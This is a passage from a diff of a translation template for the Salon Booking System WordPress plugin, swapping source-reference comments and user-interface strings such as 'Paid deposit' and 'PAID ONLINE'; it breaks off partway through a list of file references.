build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:484, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1223, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:347, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:306, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:445, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:495, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:484, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:306, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:446, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:484, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:306, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:450, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:446, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1154, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:328, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:496, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:484, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1223, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:347, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:306, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:450\n-msgid \"Save post error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:48\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:50\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:89\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:85\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:117\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:48\n+msgid \"Page.\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:472, src\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:350, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:307, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:317, src\u002FSLB_API\u002FController\u002FServices_Controller.php:522, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:510, src\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:369, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:330, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:305, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:315, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:476, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:472, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:350, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:307, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:317, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:522, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:369, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:330, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:305, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:315, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:476, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:472, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:350, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:307, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:317, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:522, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:369, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:330, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:305, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:315, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:476, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:471, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:307, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:521, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:305, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:315, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:476, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:472, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:307, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:305, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:315, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:476, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:472, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FDiscounts_Controller.php:350, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:307, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:317, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:522, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FDiscounts_Controller.php:369, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:330, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:305, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:315, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:476\n-msgid \"The name for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:104\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FBookingStatus.php:104\n+msgid \"Paid\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:481, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:519, src\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:339, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:481, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:339, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:481, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:339, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:480, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:339, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:481, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:339, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:481, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:519, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FResources_Controller.php:339\n-msgid \"The services ids for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:415\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:415\n+msgid \"Paid deposit\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:492, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:530, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:492, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:530, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:492, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:491, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:530, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:492, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:530\n-msgid \"The email address for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:53\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:53\n+msgid \"PAID LATER\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:501, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:539, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:501, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:539, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:501, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:539, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:500, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:539, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:501, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:539, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:501, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:539\n-msgid \"The phone number for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002Fweekly_report\u002F_summary_total.php:31\n+msgid \"PAID ONLINE\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FAssistants_Controller.php:510, src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1490, src\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:327, src\u002FSLB_API\u002FController\u002FServices_Controller.php:629, src\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:548, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1607, src\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:325, src\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:583, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1490, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:327, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:629, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:548, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1607, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:325, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:583, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1490, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:327, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:629, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:548, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1607, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:325, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:583, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:509, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1490, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServicesCategories_Controller.php:327, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FServices_Controller.php:628, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAssistants_Controller.php:548, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1607, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServicesCategories_Controller.php:325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FServices_Controller.php:583, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FAssistants_Controller.php:510, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1490, 